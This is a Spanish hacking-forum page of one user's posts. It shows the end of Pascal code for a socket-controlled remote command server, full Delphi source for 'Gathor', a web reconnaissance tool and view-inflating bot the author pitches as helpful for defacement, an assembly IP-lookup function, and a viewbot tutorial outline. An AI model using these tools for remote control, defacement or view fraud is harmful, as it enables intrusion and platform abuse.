  260.        sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
  261.        if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(RemoveDir(sData)<>false)) then
  262.          wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido borrado correctamente!')
  263.        else
  264.          wcsock_sendstr(TcpSock, 'Se ha producido un error al borrar la carpeta(o esta no existe)');
  265.      end;         {$I+}
  266.  
  267.      if strpos(PHostAddr^.ChBuffer, 'chd')<>nil then
  268.      begin
  269.        sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)-$1);
  270.        {$I-}SETCURRENTDIR(sData);{$I+}
  271.      end;
  272.  
  273.      if strpos(PHostAddr^.ChBuffer, 'exit')<>nil then
  274.      begin
  275.        wcsock_sendstr(TcpSock, 'Saliendo del servidor... ');
  276.        TcpInit:= false;
  277.      end;  
  278.  
  279.      WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO);
  280.    end;
  281.  
  282.  end;
  283.  
  284.  Shutdown(TcpSock, WCS_TCP_INET);
  285.  wcsock_free(TcpSock);
  286.  FreeMem(PHostAddr);
  287.  
  288. end.







6  Programación / Programación General / Gathor 0.5 en: 24 Agosto 2013, 02:09 am
Después de tanto tiempo ocupado hoy vengo a traerles una herramienta que hace
tiempo tenia pensado....

Se trata de un gathering fusionado con un viewbot que había hecho hace algún tiempo (también hice un tutorial de como programar uno, buscarlo en la sección delphi).

Obviamente este versión esta mejorada y se le han agregado mas características, por ejemplo los métodos http tales como options, head, get, post, etc... por si desean hacer algún

deface una información extra no viene mal...
también aumenta las vistas de un vídeo(todavía no le agregado los proxys, espero para la próxima entrega),
lectura de un archivo, y descarga de .txt

Lo programe en delphi 7 por si desean compilarlo por su cuenta(también dejare algunas
imagenes con ejemplos de los parámetros usados y demás).

Descarga : http://www.mediafire.com/download/zt5xha2hu7ac49d/Gathor.rar
El .rar no tiene contraseña.

Código
  1. program Gathor;
  2.  
  3. (*********************************************)
  4. (* Software : Gathor 0.5                     *)
  5. (* Autor    : WarZone                        *)
  6. (* Fecha    : 23/8/13                        *)
  7. (*********************************************)
  8. (* Explicacion:                              *)
  9. (* Un gathering de informacion web el cual   *)
  10. (* tiene caracteristicas                     *)
  11. (* como leer el source de la pagina(index),  *)
  12. (* ver el servidor en que se esta corriendo, *)
  13. (* fecha, version del protocolo, contenido,  *)
  14. (* opciones de metodos usados <posiblemente  *)
  15. (* permitiendo un Defacement>, leectura de un*)
  16. (* fichero y descarga, viewbot para aumentar *)
  17. (* visitas(por ejemplo a un video en youtube),*)
  18. (* etc...                                    *)
  19. (*********************************************)
  20. (*********************************************)
  21. (*    -Opciones de uso / Caracteristicas-    *)
  22. (*                                           *)
  23. (* Los siguientes comandos permiten hacer    *)
  24. (* peticiones HTTP por distintas opciones,   *)
  25. (* GET, POST, HEAD, ETC... y version del     *)
  26. (* protocolo respectivamente 1.0 o 1.1       *)
  27. (*                                           *)
  28. (* get_proto_0 -> metodo GET por HTTP/1.0    *)
  29. (* get_proto_1 -> GET por HTTP/1.1           *)
  30. (* post_proto_0 -> POST por HTTP/1.0         *)
  31. (* post_proto_1 -> POST por HTTP/1.1         *)
  32. (* options_proto_0 -> OPTIONS por HTTP/1.0   *)
  33. (* options_proto_1 -> OPTIONS por HTTP/1.1   *)
  34. (* head_proto_0 -> HEAD por HTTP/1.0         *)
  35. (* head_proto_1 -> HEAD por HTTP/1.1         *)
  36. (* Parametros + Ejemplo :                    *)
  37. (*********************************************)
  38. (* con parametro -g                          *)
  39. (* <sitio_web> <puerto> <opcion>             *)
  40. (* -g www.google.com 80 get_proto_0          *)
  41. (*********************************************)
  42. (* con parametro -b                          *)
  43. (* <sitio/video_a_aumentar><intervalo_segs>  *)
  44. (* -b www.youtube.com/video_a_aumentar 1     *)
  45. (*********************************************)
  46. (* con parametro -r                          *)
  47. (* <sitio><nombre_archivo_a_leer>            *)
  48. (* -r www.sitio.com/robots.txt               *)
  49. (*********************************************)
  50. (* con parametro -d                          *)
  51. (* <sitio><ruta+nombre_archivo_a_guardar>    *)
  52. (* -d www.sitio.com/robots.txt C:/OUTPUT.TXT *)
  53. (*********************************************)
  54. (* con parametro -h y -m                     *)
  55. (* Desplega la ayuda                         *)
  56. (*********************************************)
  57.  
  58. (*
  59.       Puedes encontrarme en foro.elhacker.net e
  60.       indetectables.net por cualquier duda.
  61.      
  62.       Todos los desensamblados como las funciones
  63.       escritas en ASM fueron echas por WarZ0n3,
  64.       si las incluyes en tu proyecto te pido que
  65.       me des los creditos correspondientes...
  66.       NO ME HAGO RESPONSABLE DEL MAL USO QUE LE
  67.       PUEDAN DAR.
  68.                     Atte : Warz0n3
  69. *)
  70.  
  71. {$APPTYPE CONSOLE}
  72.  
  73. uses
  74.  SysUtils,
  75.  Windows,
  76.  WinInet,
  77.  WinSock;
  78.  
  79. type
  80.  PTcpData    = ^TcpData;
  81.  
  82.  TcpData     = record
  83.    SendDataBuffer      : array[$00000000..GETEXTENDEDTEXTMETRICS] of Char;
  84.    RecvDataBuffer      : array[$00000000..(GETEXTENDEDTEXTMETRICS*2)] of AnsiChar;
  85.  end;
  86.  
  87.      // configuracion del viewbot
  88. const
  89.  INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
  90.  INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
  91.  INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
  92.  INTERNET_SERVICE_HTTP               = $00000003;
  93.  
  94.  {$DEFINE INTERNET_FLAG_RELOAD}
  95.  {$DEFINE INTERNET_FLAG_NO_COOKIES}
  96.  {$DEFINE INTERNET_FLAGS_MASK}
  97.  INTERNET_FLAGS_MASK                 = INTERNET_FLAG_RELOAD  or
  98.                                        INTERNET_FLAG_NO_COOKIES;
  99.  
  100.  HASHKEY                             = 55; //$00000028; // 40d
  101.  HTTP                                = 'http://';
  102.  // ******************************************
  103.  
  104.  { Config }
  105.  BL         = #13#10;
  106.  
  107.  { HTTP Methods }
  108.  POST        = 'POST';
  109.  GET         = 'GET';
  110.  OPTIONS     = 'OPTIONS';
  111.  HEAD        = 'HEAD';
  112.  
  113.  { Version }
  114.  HTTP0       = ' HTTP/1.0';
  115.  HTTP1       = ' HTTP/1.1';
  116.  STP         = ' /';
  117.  
  118.  { Octetos }
  119.  ZERO        = $00000000;
  120.  BSIZE       = $00001024;
  121.  BUFFSIZE    = $00000041; // 65d //$000000FF;
  122.  BUFFDATA    = $00001000;
  123.  INADDRSIZE  = $0000000A;
  124.  
  125. var
  126. {$DEFINE Host}
  127.  Host        : string;
  128. {$DEFINE Port}
  129.  Port        : Uint;
  130.  
  131.  WSData      : WsaData;
  132.  TcpSocket   : tSocket;
  133.  sAddr       : sockaddr_in;
  134.  pIp         : string;
  135.  I           : Integer;
  136.  
  137.  (*
  138.   00408450  /$ 55             PUSH EBP      
  139.   00408451  |. 8BEC           MOV EBP,ESP
  140.   00408453  |. 6A 00          PUSH 0
  141.   00408455  |. 53             PUSH EBX
  142.   00408456  |. 33C0           XOR EAX,EAX
  143.   00408458  |. 55             PUSH EBP
  144.   00408459  |. 68 BA844000    PUSH Project2.004084BA
  145.   0040845E  |. 64:FF30        PUSH DWORD PTR FS:[EAX]
  146.   00408461  |. 64:8920        MOV DWORD PTR FS:[EAX],ESP
  147.   00408464  |. 68 9C374100    PUSH Project2.0041379C                   ; /pWSAData = Project2.0041379C
  148.   00408469  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
  149.   0040846B  |. E8 98FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
  150.   00408470  |. 90             NOP
  151.   00408471  |. 90             NOP
  152.   00408472  |. 90             NOP
  153.   00408473  |. 8D55 FC        LEA EDX,DWORD PTR SS:[EBP-4]
  154.   00408476  |. B8 01000000    MOV EAX,1
  155.   0040847B  |. E8 88A3FFFF    CALL Project2.00402808
  156.   00408480  |. 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
  157.   00408483  |. E8 A4BBFFFF    CALL Project2.0040402C
  158.   00408488  |. 50             PUSH EAX                                 ; /Name
  159.   00408489  |. E8 72FFFFFF    CALL <JMP.&wsock32.gethostbyname>        ; \gethostbyname
  160.   0040848E  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
  161.   00408491  |. 33D2           XOR EDX,EDX
  162.   00408493  |. 8B0490         MOV EAX,DWORD PTR DS:[EAX+EDX*4]
  163.   00408496  |. FF30           PUSH DWORD PTR DS:[EAX]
  164.   00408498  |. E8 3BFFFFFF    CALL <JMP.&wsock32.inet_ntoa>
  165.   0040849D  |. 8BD8           MOV EBX,EAX
  166.   0040849F  |. E8 6CFFFFFF    CALL <JMP.&wsock32.WSACleanup>           ; [WSACleanup
  167.   004084A4  |. 33C0           XOR EAX,EAX
  168.   004084A6  |. 5A             POP EDX
  169.   004084A7  |. 59             POP ECX
  170.   004084A8  |. 59             POP ECX
  171.   004084A9  |. 64:8910        MOV DWORD PTR FS:[EAX],EDX
  172.   004084AC  |. 68 C1844000    PUSH Project2.004084C1
  173.   004084B1  |> 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]
  174.   004084B4  |. E8 83B7FFFF    CALL Project2.00403C3C
  175.   004084B9  \. C3             RETN
  176.   *)
  177.  
  178. function                    // Host contiene la IP
  179.  __call_ix86_getIP(): PChar; assembler;
  180. asm
  181.    PUSH EBX
  182.    ADD ESP, 0FFFFFE70h
  183.    PUSH ESP
  184.    PUSH $1
  185.    CALL WSASTARTUP
  186.    NOP
  187.    PUSH Host // 04081B4h
  188.    CALL GetHostByName
  189.    MOV EAX, [EAX+0Ch]
  190.    XOR EDX, EDX
  191.    NOP
  192.    MOV EAX, [EAX+EDX*4]
  193.    PUSH DWORD PTR [EAX]
  194.    CALL INET_NTOA
  195.    MOV EBX, EAX
  196.    CALL WSACleanup
  197.    MOV EAX, EBX
  198.    ADD ESP, 0190h
  199.    POP EBX
  200.    RETN
  201. end;
  202.  
  203. procedure
  204.  __call_ix86_configureHost; assembler;
  205. asm
  206.  MOV EDX, OFFSET Host
  207.  MOV EAX, $2  // nparam
  208.  CALL PARAMSTR
  209. end;
  210. procedure
  211.  __call_ix86_configurePort; assembler;
  212. asm
  213.  LEA EDX, [EBP-04h]
  214.  MOV EAX, $3
  215.  CALL PARAMSTR
  216.  MOV EAX, [EBP-04h]
  217.  CALL STRTOINT
  218.  MOV DWORD PTR DS:[PORT], EAX  (* configuracion del host y el puerto*)
  219. end;
  220.  
  221. function
  222. (*00408818  /$ 53             PUSH EBX
  223. 00408819  |. 33DB           XOR EBX,EBX
  224. 0040881B  |. 6A 74          PUSH 74                                  ; /Key = VK_F5
  225. 0040881D  |. E8 3AC7FFFF    CALL <JMP.&user32.GetAsyncKeyState>      ; \GetAsyncKeyState
  226. 00408822  |. 66:85C0        TEST AX,AX
  227. 00408825  |. 74 03          JE SHORT Project2.0040882A
  228. 00408827  |. 83CB FF        OR EBX,FFFFFFFF
  229. 0040882A  |> 8BC3           MOV EAX,EBX
  230. 0040882C  |. 5B             POP EBX
  231. 0040882D  \. C3             RETN
  232. *)
  233.  __call_ix86_interceptF5() :  BOOL; assembler;
  234. asm
  235.  PUSH EBX
  236.  XOR EBX, EBX
  237.  PUSH $74     // F5
  238.  CALL GETASYNCKEYSTATE
  239.  TEST AX, AX
  240.  JE @A0040882D   // label relativo
  241.  OR EBX, $FFFFFFFF
  242.  @A0040882D:
  243.  MOV EAX, EBX
  244.  POP EBX
  245.  RETN
  246. end;
  247.  
  248.  
  249. (*                                                  // Configuracion del host y puerto
  250.  004084B7  |. BA 9C374100    MOV EDX, .0041379C
  251.  004084BC  |. B8 01000000    MOV EAX,1
  252.  004084C1  |. E8 42A3FFFF    CALL  .00402808
  253.  
  254.  004084C3  |. 8D55 FC        LEA EDX,DWORD PTR SS:[EBP-4]
  255.  004084C6  |. B8 02000000    MOV EAX,2
  256.  004084CB  |. E8 38A3FFFF    CALL .00402808
  257.                                                    // configuracion de los sockets
  258.  004084C6  |. 68 A0374100    PUSH  .004137A0                          ; /pWSAData = Project2.004137A0
  259.  004084CB  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
  260.  004084CD  |. E8 36FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
  261.  
  262.  004084D4  |. 6A 00          PUSH 0                                   ; /Protocol = IPPROTO_IP
  263.  004084D6  |. 6A 01          PUSH 1                                   ; |Type
  264.  004084D8  |. 6A 02          PUSH 2                                   ; |Family = AF_INET
  265.  004084DA  |. E8 19FFFFFF    CALL <JMP.&wsock32.socket>               ; \socket
  266.  004084DF  |. A3 A0374100    MOV DWORD PTR DS:[4137A0],EAX
  267.  *)
  268. procedure InitGathering();
  269. var
  270.  TcpData           : PTcpData; // puntero a tcpdata
  271.  nOpc              : integer;
  272. begin
  273. {$IFDEF Host}
  274.    __call_ix86_configureHost;  // inicio la configuracion de parametros
  275. {$ENDIF}
  276. {$IFDEF Port}
  277.    __call_ix86_configurePort;
  278. {$ENDIF}
  279.  ASM
  280.  PUSH EBX
  281.  ADD ESP, 0FFFFFE70h
  282.  PUSH ESP
  283.  PUSH $1                 // version
  284.  CALL WSAStartup         //WSAStartUp($1, WSData);
  285.  PUSH $0
  286.  PUSH $1
  287.  PUSH $2
  288.  CALL SOCKET
  289.  MOV DWORD PTR DS:[TcpSocket], EAX  // Puntero a tcpsocket  //TcpSocket:= Socket (AF_INET, SOCK_STREAM, ZERO);
  290.  END;
  291.  New(TcpData); // reservamos memoria para la estructura
  292.  
  293.  sAddr.sin_family:= af_inet;
  294.  sAddr.sin_addr.s_addr:= inet_addr(__call_ix86_getip()); //INET_ADDR('173.194.42.209');
  295.  sAddr.sin_port:= htons(Port); //htons( StrToInt(ParamStr(2)) );
  296.  
  297.  nOpc:= 4;
  298.  // Opcion por default
  299.  if (ParamStr(nOpc)<' ') then
  300.    TcpData^.SendDataBuffer:= 'OPTIONS /index.html HTTP/1.0'+BL+BL;
  301.  // Gathering automatico
  302.  if (ParamStr(nOpc)>' ') then
  303.  begin
  304.    if (ParamStr(nOpc)='get_proto_0') then
  305.      TcpData^.SendDataBuffer:= GET+STP+HTTP0+BL+BL;
  306.    if (ParamStr(nOpc)='get_proto_1') then
  307.      TcpData^.SendDataBuffer:= GET+STP+HTTP1+BL+BL;
  308.    if (ParamStr(nOpc)='post_proto_0') then
  309.      TcpData^.SendDataBuffer:= POST+STP+HTTP0+BL+BL;
  310.    if (ParamStr(nOpc)='post_proto_1') then
  311.      TcpData^.SendDataBuffer:= POST+STP+HTTP1+BL+BL;
  312.    if (ParamStr(nOpc)='options_proto_0') then
  313.      TcpData^.SendDataBuffer:= OPTIONS+STP+HTTP0+BL+BL;
  314.    if (ParamStr(nOpc)='options_proto_1') then
  315.      TcpData^.SendDataBuffer:= OPTIONS+STP+HTTP1+BL+BL;
  316.    if (ParamStr(nOpc)='head_proto_0') then
  317.      TcpData^.SendDataBuffer:= HEAD+STP+HTTP0+BL+BL;
  318.    if (ParamStr(nOpc)='head_proto_1') then
  319.      TcpData^.SendDataBuffer:= HEAD+STP+HTTP1+BL+BL;
  320.  end;
  321.  
  322.  try
  323.    WriteLn('[Conectando al servidor]: ', __call_ix86_getip());
  324.  
  325.    Winsock.Connect(TcpSocket, sAddr, sizeof(sAddr));
  326.    WriteLn('[Parametro]: ', TcpData^.SendDataBuffer );
  327.    Winsock.Send(TcpSocket, TcpData^.SendDataBuffer, StrLen(TcpData^.SendDataBuffer), MSG_DONTROUTE);
  328.    Winsock.Recv(TcpSocket, TcpData^.RecvDataBuffer, BSIZE, SD_RECEIVE);
  329.    WriteLn(TcpData^.RecvDataBuffer);
  330.  finally
  331.    Dispose(TcpData);
  332.    Shutdown(TcpSocket, SD_BOTH);
  333.    CloseSocket(TcpSocket);
  334.    WSACleanUp();
  335.  end;
  336.  
  337. end;
  338.  
  339. function
  340.  RandomHashes(LenDict:integer):string;
  341. const
  342.  BuffHash    : Array[0..BUFFSIZE] of Char= (
  343.    'a', 'b', 'c', 'd', 'e', 'f', 'g',
  344.    'h', 'i', 'j', 'k', 'l', 'm', 'n',
  345.    'o', 'p', 'q', 'r', 's', 't', 'u',
  346.    'u', 'v', 'w', 'x', 'y', 'z', 'A',
  347.    'B', 'C', 'D', 'E', 'F', 'G', 'H',
  348.    'I', 'J', 'K', 'L', 'M', 'N', 'O',
  349.    'P', 'Q', 'R', 'S', 'T', 'U', 'V',
  350.    'W', 'X', 'Y', 'Z', '0', '1', '2',
  351.    '3', '4', '5', '6', '7', '8', '9',
  352.    '=', '?', '-'
  353.  );
  354. var
  355.  iHash         : Integer;
  356.  PBuffHash     : Char;
  357. begin
  358.  iHash:= Length(BuffHash)-LenDict;
  359.  repeat
  360.    Randomize;
  361.    PBuffHash:= BuffHash[Random(Length(BuffHash))];
  362.    asm
  363.      @@StartUp:
  364.        DEC(iHash);
  365.    end;
  366.    Result:= Result+PBuffHash;
  367.  until (iHash<ZERO);
  368.  Result:= Result;
  369.  
  370.  ZeroMemory(Addr(iHash), SizeOf(iHash));
  371.  ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
  372. end;
  373.  
  374. function
  375.  DownloadInetFile(urlhandle:HInternet; const nfile:string): string;
  376. var
  377.  Buffer          : array [0..1024] of char;
  378.  bytesRead       : DWORD;
  379.  txtFile         : TextFile;
  380. begin
  381. Result:= '';
  382. {$I-}
  383.  if nfile>'' then begin
  384.    {$DEFINE CONFIGURE_INTERNET_FILE}
  385.    assignfile(txtFile, nfile);
  386.    rewrite(txtfile);
  387.  end;
  388.  {$I+}
  389.    {$IFDEF CONFIGURE_INTERNET_FILE}
  390.      fillchar(buffer, sizeof(buffer), ZERO); // inicializamos el buffer
  391.  
  392.      repeat
  393.        result:= result+buffer;
  394.  
  395.        internetreadFile(urlhandle, @buffer, sizeof(buffer), bytesread);
  396.        {$I-}if nfile>'' then write(txtfile, buffer);{$I+}
  397.  
  398.        writeln(buffer);
  399.      until bytesread=0;
  400.    {$ENDIF}
  401.    {$UNDEF CONFIGURE_INTERNET_FILE}
  402.  {$I-}closefile(txtfile);{$I+}
  403. end;
  404.  
  405. function
  406.  OpenINet(url, nFile :string; HashLen, Secs, Opc: integer ) : BOOL;
  407. var
  408.  hInet,
  409.  hUrl        : hInternet;
  410.  NHash       : PChar;
  411.  Init        : BOOL;
  412. begin
  413.  NHash:= PChar( RandomHashes(HashLen) );
  414.  hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  415.  if assigned(hInet) then
  416.  begin
  417.    hUrl:= InternetOpenUrl(hInet, PChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  418.                            INTERNET_FLAG_RELOAD, INTERNET_SERVICE_HTTP);
  419.    if assigned(hUrl) then begin
  420.      if Opc=$02 then begin
  421.        DownloadInetFile(hUrl, nFile); end
  422.      else if Opc=$03 then begin
  423.        DownloadInetFile(hUrl, ''); end
  424.      else begin
  425.        Result:= true;
  426.        WriteLn('[Hash generado]: '+ NHash);
  427.      end;
  428.    end
  429.    else begin
  430.      WriteLn('Se ha producido un error en la conexion... ');
  431.      Result:= false;
  432.    end;
  433.  end; // assigned
  434.  Sleep(Secs*1000);
  435.  
  436.  InternetCloseHandle(hInet);
  437.  InternetCloseHandle(hUrl);
  438.  FreeMemory(NHash);
  439. end;
  440.  
  441. procedure
  442.  CALLBACK_DownloadInetFile(nFile:string; HashLen, Secs:integer);
  443. begin
  444.  {$IFDEF Host}
  445.    __call_ix86_configureHost; // configura el primer parametro como Host
  446.  {$ENDIF}
  447.  OpenInet(Host, nFile , HashLen, Secs, $02 );
  448. end;
  449.  
  450. procedure
  451.  InitIrb;
  452. var
  453.  Init        : BOOL;
  454.  cIrb        : integer;
  455. begin
  456.  Init:= true;
  457.  {$IFDEF Host}
  458.    __call_ix86_configureHost;
  459.  {$ENDIF}
  460.  WriteLn('Apreta (F5) para salir del bot.');
  461.  while Init do begin
  462.    if OpenInet( Host, '' , HASHKEY, StrToInt( ParamStr(3) ), ZERO ) then
  463.    begin
  464.      inc(cirb);
  465.      writeLn(
  466.        '[Servidor visitado]: ', ParamStr(2),
  467.        #13#10 +'[Ip]: ', __call_ix86_getip(), #13#10+'[Numero de veces]: ', cirb,
  468.        #13#10 +'============================'
  469.      );
  470.    end
  471.    else begin
  472.      writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
  473.  
  474.    if __call_ix86_interceptF5() then begin
  475.      Init:= false;
  476.      WriteLn(#13#10+'Opcion salida por el usuario.');
  477.    end;
  478.  end;
  479.  ZeroMemory(Addr(cirb), sizeof(cirb));
  480. end;
  481.  
  482. var
  483.  Input       : integer;
  484.  Output      : string;
  485.  Opc         : array[1..2] of Byte = ($01, $02);
  486. begin
  487.  {$O+}
  488.  
  489.  writeln   (
  490.  ' _____       _   _' ,  #13#10,
  491.  '|  __ \     | | | |' , #13#10,
  492.  '| |  \/ __ _| |_| |__   ___  _ __ '  , #13#10 ,
  493.  '| | __ / _` | __|  _ \ / _ \|  __|' , #13#10 ,
  494.  '| |_\ \ (_| | |_| | | | (_) | |   '  ,  #13#10 ,
  495.  ' \____/\__,_|\__|_| |_|\___/|_|   ' , #13#10 ,
  496.  #9#9,'-==0.5 by - WarZ0n3==-' , #13#10#9, 'Happy Hacking...', #13#10
  497.  );
  498.  
  499.  try
  500.  
  501.      if pos('-h', ParamStr(1))<>0 then
  502.        writeln(#13#10, #9,
  503.            '-m     = metodos http usados para gathering(-g)', #13#10#9,
  504.            '-h     = me estas viendo bebe.', #13#10#9,
  505.            '-d     = descarga archivo : <www.sitio><nombre_archivo_a_guardar>', #13#10#9,
  506.            '-b     = modo bot(spam-sitio) : <www.sitio><intervalo_en_segundos>', #13#10#9,
  507.            '-g     = modo gathering : <www.sitio><puerto><metodo_http>', #13#10#9,
  508.            '-r     = lee un archivo de un sitio web : <www.sitio/archivo.ext>'
  509.            );
  510.  
  511.      if pos('-m', ParamStr(1))<>0 then
  512.        writeln( #13#10#9,
  513.          'Los siguientes comandos permiten hacer', #13#10#9,
  514.          'peticiones HTTP por distintas opciones,', #13#10#9,
  515.          'GET, POST, HEAD, ETC... y version del', #13#10#9,
  516.          'protocolo respectivamente 1.0 o 1.1', #13#10 , #13#10#9,
  517.          'get_proto_0 -> metodo GET por HTTP/1.0' , #13#10#9,
  518.          'get_proto_1 -> GET por HTTP/1.1', #13#10#9,
  519.          'post_proto_0 -> POST por HTTP/1.0', #13#10#9,
  520.          'post_proto_1 -> POST por HTTP/1.1', #13#10#9,
  521.          'options_proto_0 -> OPTIONS por HTTP/1.0' , #13#10#9,
  522.          'options_proto_1 -> OPTIONS por HTTP/1.1', #13#10#9,
  523.          'head_proto_0 -> HEAD por HTTP/1.0' , #13#10#9,
  524.          'head_proto_1 -> HEAD por HTTP/1.1', #13#10#9#13#10#9,
  525.          'Ejemplo del gathor : -g www.facebook.com 80 get_proto_1', #13#10
  526.            );
  527.  
  528.      if pos('-d', ParamStr(1))<>0 then begin
  529.        if ParamCount=3 then
  530.          CALLBACK_DownloadInetFile(ParamStr(3), 55, 1)
  531.        else
  532.          Write(#13#10, 'Parametros: <opcion><www.sitio><ruta+nombre_archivo_a_guardar>');
  533.      end;
  534.      if pos('-b', ParamStr(1))<>0 then begin
  535.        if ParamCount=3 then
  536.          InitIrb()
  537.        else
  538.          Write(#13#10, 'Parametros: <opcion><www.sitio/video_a_aumentar><intervalo_en_segundos>');
  539.      end;
  540.      if pos('-g', ParamStr(1))<>0 then begin
  541.        if ParamCount=4 then
  542.          InitGathering()
  543.        else
  544.          Write(#13#10, 'Parametros: <www.sitio><puerto><metodo_http>');
  545.      end;
  546.      if pos('-r', ParamStr(1))<>0 then begin
  547.        if ParamCount=2 then begin
  548.        {$IFDEF Host} __call_ix86_configureHost; {$ENDIF}
  549.        OpenINet(Host, '', 55, 1, 3 ); end
  550.        else begin Write(#13#10, 'Parametros: <www.sitio/archivo.ext>'); end;
  551.      end;
  552.  
  553.  except end;
  554.  {$O-}
  555.  
  556. end.
  557.  

gathor con parametro -r


gathor con parametro -d


gathor con parametro -h y -m


gathor con parametro -g por medio del metodo get


gathor con parametro -g por medio del metodo post


gathor con parametro -g por medio del metodo head


gathor con parametro -g por medio del metodo options

7  Programación / .NET (C#, VB.NET, ASP) / Re: Error: No es posible crear una nueva página de seguridad para la pila en: 6 Agosto 2013, 16:16 pm
La verdad es que no se .NET, pero al ver tu problema me intereso mucho ayudarte, mas con el tema overflows(si tuviera más tiempo claro).
Pero voy a dar un ejemplo rapido, como bien dijo novluker.
Y el problema es que la verdad muchas veces es necesario la recursividad, pero no es lo recomendable para nada, ya que es una forma fácil de quedarse sin espacio en la pila, y como esta es limitada en tamaño puede llevar a un bof... cuando tenga mas tiempo hablamos.
8  Programación / Programación General / [Pascal+ASM] Funcion GetIp en asm en: 6 Agosto 2013, 05:52 am
Hace no mucho había escrito una función en pascal usando WinSocks llamada GetIp, aquí les dejo el post: http://foro.elhacker.net/programacion_general/pascal_gathor_01_recolector_de_informacion-t396062.0.html

Básicamente conseguía la IP de un sitio pasado como parámetro, pero el ensamblado que le había hecho era bastante malo, hoy que tuve un rato, lo desensamble(bendito IDA  ;D)  y modificando el desensamblado logre reconstruir la función pero en assembler.
Reduje el código de la vez pasada para que quede bien legible, y se entienda.

Aquí la función (compilada en delphi 7), ojala les sirva  :rolleyes:

Código
  1. program Gathor;
  2.  
  3. {$APPTYPE CONSOLE}
  4.  
  5. (***********************************)
  6. (*   Funcion GetIp por WarZ0n3     *)
  7. (* Explicacion:                    *)
  8. (* PoC usando Winsocks en assembly *)
  9. (* Uso:                            *)
  10. (* Consigue la IP de un sitio web  *)
  11. (* pasado como argumento           *)
  12. (***********************************)
  13.  
  14. uses
  15.  SysUtils,
  16.  Windows,
  17.  WinSock;
  18.  
  19. var
  20.  SITE : string;
  21.  
  22. (* Reporte por WarZ0n3
  23. 00408174  /$ 53             PUSH EBX
  24. 00408175  |. 81C4 70FEFFFF  ADD ESP,-190
  25. 0040817B  |. 54             PUSH ESP                                 ; /pWSAData
  26. 0040817C  |. 6A 01          PUSH 1                                   ; |RequestedVersion = 1 (1.0.)
  27. 0040817E  |. E8 91FFFFFF    CALL <JMP.&wsock32.WSAStartup>           ; \WSAStartup
  28. 00408183  |. 90             NOP
  29. 00408184  |. 90             NOP    // Solo para demostracion en el stack
  30. 00408185  |. 90             NOP
  31. 00408186  |. 68 B8814000    PUSH Project2.004081B8                   ; /Name = "www.youtube.com"
  32. 0040818B  |. E8 7CFFFFFF    CALL <JMP.&wsock32.gethostbyname>        ; \gethostbyname
  33. 00408190  |. 8B40 0C        MOV EAX,DWORD PTR DS:[EAX+C]
  34. 00408193  |. 33D2           XOR EDX,EDX
  35. 00408195  |. 90             NOP
  36. 00408196  |. 90             NOP   // Solo para demostracion en el stack
  37. 00408197  |. 90             NOP
  38. 00408198  |. 90             NOP
  39. 00408199  |. 8B0490         MOV EAX,DWORD PTR DS:[EAX+EDX*4]
  40. 0040819C  |. FF30           PUSH DWORD PTR DS:[EAX]
  41. 0040819E  |. E8 61FFFFFF    CALL <JMP.&wsock32.inet_ntoa>
  42. 004081A3  |. 8BD8           MOV EBX,EAX
  43. 004081A5  |. 90             NOP
  44. 004081A6  |. 90             NOP  // Solo para demostracion en el stack
  45. 004081A7  |. 90             NOP
  46. 004081A8  |. 90             NOP
  47. 004081A9  |. E8 6EFFFFFF    CALL <JMP.&wsock32.WSACleanup>           ; [WSACleanup
  48. 004081AE  |. 8BC3           MOV EAX,EBX
  49. 004081B0  |. 81C4 90010000  ADD ESP,190
  50. 004081B6  |. 5B             POP EBX
  51. 004081B7  \. C3             RETN
  52. *)
  53. function
  54.  GetIP(): PChar; assembler;
  55. asm
  56.    PUSH EBX
  57.    ADD ESP, 0FFFFFE70h
  58.    PUSH ESP
  59.    PUSH 1
  60.    CALL WSASTARTUP
  61.    NOP
  62.    NOP
  63.    NOP
  64.    PUSH SITE // 04081B4h
  65.    CALL GetHostByName
  66.    MOV EAX, [EAX+0Ch]
  67.    XOR EDX, EDX
  68.    NOP
  69.    NOP
  70.    NOP
  71.    MOV EAX, [EAX+EDX*4]
  72.    PUSH DWORD PTR [EAX]
  73.    CALL INET_NTOA
  74.    MOV EBX, EAX
  75.    CALL WSACleanup
  76.    MOV EAX, EBX
  77.    ADD ESP, 190h
  78.    POP EBX
  79.    RETN
  80. end;
  81.  
  82. begin
  83.  SITE:= ParamStr(1);
  84.  WriteLn('[Sitio web]: ', SITE, #13#10+'[Ip]: ', GetIP());
  85.  
  86. end.
  87.  



9  Programación / Programación General / [Tutorial] Programado un viewbot en pascal usando APIS en: 3 Agosto 2013, 18:50 pm
Lo prometido es deuda, hace un tiempo había echo un pequeño Viewbot, y al parecer a la gente le ha gustado, hoy les traigo algunas de las técnicas para programarlo lo más eficiente posible.. claro que lo haremos con las APIS WinInet, Winsock y más...


===============================

0)¿Por que Pascal?.
1)Introducción.
2)Conocimientos previos.
3)Desarrollando con la libreria WinInet.
4)Hablando de “Return” y “Result” en Pascal.
5)Probando nuestro robot por primera vez.
6)Convirtiendo nuestra PC en un servidor web de pruebas.
7)Creando un contador de visitas en PHP y algo más...
8)Hashes mixtos para nuestra maquina.
9)Un vistazo a la programación monolítica.
10)Limpiando variables en memoria(Apartado de optimizacion 1º parte).
11) Probando nuestro viewbot por 2º vez.
12) Usando el API Winsock para obtener Ips.
13)Finalizando.
